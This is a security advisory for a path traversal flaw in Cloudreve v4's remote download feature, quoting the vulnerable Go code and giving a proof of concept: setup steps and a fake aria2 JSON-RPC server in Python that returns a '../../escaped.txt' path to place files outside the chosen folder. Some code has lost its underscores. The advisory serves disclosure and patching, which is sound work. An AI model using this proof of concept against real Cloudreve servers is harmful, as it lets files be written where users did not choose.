PT-2026-85361 · Go · Github.Com/Cloudreve/Cloudreve/V4

Published

2026-08-24

·

Updated

2026-08-24

CVSS v4.0

5.5

Medium

VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Summary

Cloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as ../../escaped.txt can cause a downloaded file to be created outside the user-selected destination directory.

Details

In the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name.
go
// pkg/filemanager/workflows/remote download.go:436-438
sanitizedName := sanitizeFileName(file.Name)
dst := dstUri.JoinRaw(sanitizedName)
src := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name))
The same issue also exists when constructing slave upload payloads.
go
// pkg/filemanager/workflows/remote download.go:323-327
dst := dstUri.JoinRaw(sanitizeFileName(f.Name))
src := path.Join(m.state.Status.SavePath, f.Name)
payload.Files = append(payload.Files, SlaveUploadEntity{
	Src:  src,
	Uri:  dst,
The sanitizer does not remove /, ., or .. path segments.
go
// pkg/filemanager/workflows/remote download.go:648-650
func sanitizeFileName(name string) string {
	r := strings.NewReplacer("", " ", ":", " ", "*", " ", "?", " ", """, " ", "<", " ", ">", " ", "|", " ")
	return r.Replace(name)
}
JoinRaw() splits the raw string by / and joins the segments, allowing .. to affect the final URI path.
go
// pkg/filemanager/fs/uri.go:173-175
func (u *URI) JoinRaw(elem string) *URI {
	return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)
}
For aria2, Cloudreve derives downloader.TaskFile.Name from the path returned by aria2.tellStatus().files[].path.
go
// pkg/downloader/aria2/aria2.go:148-159
relPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath)
if len(relPath) > 0 {
	relPath = relPath[1:]
}
return downloader.TaskFile{
	Index:  index,
	Name:   relPath,
Therefore, if the selected destination is: cloudreve://my/victim/safe, the downloader reports ../../escaped.txt, the final upload destination becomes cloudreve://my/escaped.txt
The issue can move the final Cloudreve URI further up the user’s any accessible namespace, but is subject to Cloudreve’s normal permission and upload checks.

PoC

The PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL.
Setup:
text
Cloudreve official Docker image
PostgreSQL
Redis
Fake aria2 JSON-RPC service
Configure the master node in the Cloudreve admin UI:
text
Remote download capability: enabled
Downloader provider: aria2
aria2 RPC server: http://fake-aria2:6800/jsonrpc
aria2 token: empty
Create this folder structure in the file manager:
text
My files /
 victim /
  safe /
Create a remote download task using any URL in the victim/safe directory, for example:
text
http://attacker.invalid/file
The fake aria2 service returns:
text
files[0].path = <saveDir>/../../escaped.txt
Expected result after the remote download task completes:
text
cloudreve://my/escaped.txt exists
This demonstrates that the downloaded file escapes both the selected destination directory and its parent directory.

Impact

If a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task.
This affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve’s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder.

Appendix: fake aria2.py

python
import json
import os
from http.server import BaseHTTPRequestHandler, HTTPServer

GID = "0123456789abcdef"
CONTENT = b"created outside the selected Cloudreve destination
"
save dir = "/cloudreve/data/temp/aria2/poc-final"


def write source file():
  source = os.path.normpath(os.path.join(save dir, "..", "..", "escaped.txt"))
  os.makedirs(os.path.dirname(source), exist ok=True)
  with open(source, "wb") as f:
    f.write(CONTENT)
  print(f"fake aria2 source file: {source}", flush=True)


def response(rpc id, result):
  return json.dumps({"jsonrpc": "2.0", "id": rpc id, "result": result}).encode()


class Handler(BaseHTTPRequestHandler):
  def do POST(self):
    global save dir

    raw = self.rfile.read(int(self.headers.get("Content-Length", "0")))
    req = json.loads(raw or b"{}")
    method = req.get("method")
    rpc id = req.get("id")

    if method == "aria2.addUri":
      for item in req.get("params", []):
        if isinstance(item, dict) and item.get("dir"):
          save dir = item["dir"]
          break
      write source file()
      result = GID
    elif method == "aria2.tellStatus":
      result = {
        "gid": GID,
        "status": "complete",
        "totalLength": str(len(CONTENT)),
        "completedLength": str(len(CONTENT)),
        "uploadLength": "0",
        "downloadSpeed": "0",
        "uploadSpeed": "0",
        "infoHash": "",
        "numPieces": "1",
        "dir": save dir,
        "files": [
          {
            "index": "1",
            "path": f"{save dir}/../../escaped.txt",
            "length": str(len(CONTENT)),
            "completedLength": str(len(CONTENT)),
            "selected": "true",
            "uris": [],
          }
        ],
        "bittorrent": {"mode": "single", "info": {"name": "poc-final"}},
      }
    elif method == "aria2.getVersion":
      result = {"version": "fake-poc-final", "enabledFeatures": []}
    else:
      result = "OK"

    body = response(rpc id, result)
    self.send response(200)
    self.send header("Content-Type", "application/json")
    self.send header("Content-Length", str(len(body)))
    self.end headers()
    self.wfile.write(body)

  def log message(self, fmt, *args):
    return


if  name  == " main ":
  print("fake aria2 JSON-RPC listening on :6800", flush=True)
  HTTPServer(("0.0.0.0", 6800), Handler).serve forever()

Fix

Path traversal

Relative Path Traversal

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-22CWE-23

Related Identifiers

GHSA-W8J7-39HP-8X59

Affected Products

Github.Com/Cloudreve/Cloudreve/V4